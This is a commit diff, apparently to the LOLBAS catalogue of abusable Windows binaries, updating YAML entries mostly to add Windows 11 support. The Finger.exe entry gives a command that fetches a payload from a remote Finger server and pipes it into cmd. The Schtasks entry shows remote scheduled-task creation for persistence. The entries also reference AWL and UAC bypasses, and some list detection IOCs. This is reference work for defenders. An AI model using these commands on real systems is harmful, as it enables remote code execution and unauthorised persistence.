Adding more missed-out entries

yml/OSBinaries/Finger.yml

@@ -1,31 +1,31 @@
----
-Name: Finger.exe
-Description: Displays information about a user or users on a specified remote computer that is running the Finger service or daemon
-Author: Ruben Revuelta
-Created: 2021-08-30
-Commands:
-  - Command: finger user@example.host.com | more +2 | cmd
-    Description: 'Downloads payload from remote Finger server. This example connects to "example.host.com" asking for user "user"; the result could contain malicious shellcode which is executed by the cmd process.'
-    Usecase: Download malicious payload
-    Category: Download
-    Privileges: User
-    MitreID: T1105
-    OperatingSystem: Windows 8.1, Windows 10, Windows 11, Windows Server 2008, Windows Server 2008R2, Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019, Windows Server 2022
-Full_Path:
-  - Path: c:\windows\system32\finger.exe
-  - Path: c:\windows\syswow64\finger.exe
-Detection:
-  - Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_finger_usage.yml
-  - IOC: finger.exe should not be run on a normal workstation.
-  - IOC: finger.exe connecting to external resources.
-Resources:
-  - Link: https://twitter.com/DissectMalware/status/997340270273409024
-  - Link: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/ff961508(v=ws.11)
-Acknowledgement:
-  - Person: Ruben Revuelta (MAPFRE CERT)
-    Handle: '@rubn_RB'
-  - Person: Jose A. Jimenez (MAPFRE CERT)
-    Handle: '@Ocelotty6669'
-  - Person: Malwrologist
-    Handle: '@DissectMalware'
----
+---
+Name: Finger.exe
+Description: Displays information about a user or users on a specified remote computer that is running the Finger service or daemon
+Author: Ruben Revuelta
+Created: 2021-08-30
+Commands:
+  - Command: finger user@example.host.com | more +2 | cmd
+    Description: 'Downloads payload from remote Finger server. This example connects to "example.host.com" asking for user "user"; the result could contain malicious shellcode which is executed by the cmd process.'
+    Usecase: Download malicious payload
+    Category: Download
+    Privileges: User
+    MitreID: T1105
+    OperatingSystem: Windows 8.1, Windows 10, Windows 11, Windows Server 2008, Windows Server 2008R2, Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019, Windows Server 2022
+Full_Path:
+  - Path: c:\windows\system32\finger.exe
+  - Path: c:\windows\syswow64\finger.exe
+Detection:
+  - Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_finger_usage.yml
+  - IOC: finger.exe should not be run on a normal workstation.
+  - IOC: finger.exe connecting to external resources.
+Resources:
+  - Link: https://twitter.com/DissectMalware/status/997340270273409024
+  - Link: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/ff961508(v=ws.11)
+Acknowledgement:
+  - Person: Ruben Revuelta (MAPFRE CERT)
+    Handle: '@rubn_RB'
+  - Person: Jose A. Jimenez (MAPFRE CERT)
+    Handle: '@Ocelotty6669'
+  - Person: Malwrologist
+    Handle: '@DissectMalware'
+---

yml/OSBinaries/Microsoft.Workflow.Compiler.yml

@@ -10,21 +10,21 @@ Commands:
     Category: Execute
     Privileges: User
     MitreID: T1127
-    OperatingSystem: Windows 10S
+    OperatingSystem: Windows 10S, Windows 11
   - Command: Microsoft.Workflow.Compiler.exe tests.txt results.txt
     Description: Compile and execute C# or VB.net code in a XOML file referenced in the test.txt file.
     Usecase: Compile and run code
     Category: Execute
     Privileges: User
     MitreID: T1127
-    OperatingSystem: Windows 10S
+    OperatingSystem: Windows 10S, Windows 11
   - Command: Microsoft.Workflow.Compiler.exe tests.txt results.txt
     Description: Compile and execute C# or VB.net code in a XOML file referenced in the test.txt file.
     Usecase: Compile and run code
     Category: AWL Bypass
     Privileges: User
     MitreID: T1127
-    OperatingSystem: Windows 10S
+    OperatingSystem: Windows 10S, Windows 11
 Full_Path:
   - Path: C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe
 Code_Sample:

yml/OSBinaries/Mmc.yml

@@ -17,7 +17,7 @@ Commands:
     Category: UAC Bypass
     Privileges: Administrator
     MitreID: T1218.014
-    OperatingSystem: Windows 10 (and possibly earlier versions)
+    OperatingSystem: Windows 10 (and possibly earlier versions), Windows 11
 Full_Path:
   - Path: C:\Windows\System32\mmc.exe
   - Path: C:\Windows\SysWOW64\mmc.exe

yml/OSBinaries/Schtasks.yml

@@ -10,14 +10,14 @@ Commands:
     Category: Execute
     Privileges: User
     MitreID: T1053.005
-    OperatingSystem: Windows
+    OperatingSystem: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
   - Command: schtasks /create /s targetmachine /tn "MyTask" /tr c:\some\directory\notevil.exe /sc daily
     Description: Create a scheduled task on a remote computer for persistence/lateral movement
     Usecase: Create a remote task to run daily relative to the the time of creation
     Category: Execute
     Privileges: Administrator
     MitreID: T1053.005
-    OperatingSystem: Windows 10, Windows 11
+    OperatingSystem: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
 Full_Path:
   - Path: c:\windows\system32\schtasks.exe
   - Path: c:\windows\syswow64\schtasks.exe